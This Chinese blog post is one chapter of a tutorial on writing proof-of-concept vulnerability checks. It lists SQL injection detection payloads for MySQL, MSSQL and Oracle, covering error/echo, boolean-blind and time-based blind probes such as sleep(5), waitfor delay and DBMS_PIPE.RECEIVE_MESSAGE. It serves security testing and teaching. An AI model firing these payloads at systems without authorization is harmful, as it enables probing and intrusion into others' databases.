《PoC 编写指南》现已经同步至 gitbook,博客和 gitbook 会同步更新,地址: http://poc.evalbug.com/
文章开始前说点别的,本来打算6月份才更的,原本以为没人看的。最近收到一封热心读者的邮件,很是感动啊,谢谢支持。也感谢一起参与到这个教程编写中的每一位朋友。
博客这边其实不是特别想更新的,毕竟阅读起来没 gitbook 体验那么好。而且发现博客这里章节序号和那边不一样,自己也不想改了,下一章直接会跳到第4章,不要惊讶。
之前讲了一堆,都是编写的过程,在这一章最后总结一下,把需要用到的 Payload 规范整理了一份列表出来,供大家参考。
报错和有回显类
MySQL
方法:直接在结果中输出一个 md5 值
1 | select md5(233); |
MSSQL
方法:直接在结果中输出一个 md5 值
其 SQL 语句原型类似:
1 | select sys.fn_varbintohexstr(hashbytes('MD5','1234')); |
hashbytes()
返回 varbinary 类型值
sys.fn_VarBinToHexStr()
是把 varbinary 转换成 varchar
Oracle
方法:Oracle 中输出 md5 值实现起来较为复杂,可以连续输出几个随机的字符来使判断字符串随机化
SQL 语句:
1 | SELECT CHR(97)||CHR(108)||CHR(107)||CHR(100)||CHR(102)||CHR(106)||CHR(103)||CHR(99) FROM foobar |
其效果相当于:
1 | SELECT 'alkdfjgc' FROM foobar |
这样只用检测 alkdfjgc
是否在返回页面中即可。
注意:所选字符串应该尽量无规律且要有一定长度,不要选用常见的单词(如 get, test, ceshi)。
布尔盲注类
MySQL
1 | select * from table where 1=1; |
MSSQL
1 | and 1=1 |
Oracle
1 | (SELECT (CASE WHEN (1=1) THEN 123 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) |
时间盲注类
MySQL
1 | SELECT IF(1=1, sleep(5), "1"); |
MSSQL
1 | waitfor delay '0:0:5' |
Oracle
1 | AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) |
receive_message
函数用于接收管道消息,并将接收到的消息写入到本地消息缓冲区。当接收完管道信息之后,会删除管道消息,管道消息只能被接收一次。
语法:1
dbms_pipe.receive_message(pepename in varchar2,timeout in integer default maxwait) return integer;
其中,返回 0 接收成功,返回 1 超时,返回 2 本地缓冲区不能容纳管道消息,返回 3 发生中断。
文中所提及到的 Payload 不是唯一答案,仅作参考。如果想看更全面的,请参考 sqlmap 中 Payload 部分。
敲字敲着,发现键盘红了,流鼻血了 = =,先这样吧,如果你对里面有什么想法和见解,欢迎一起完善。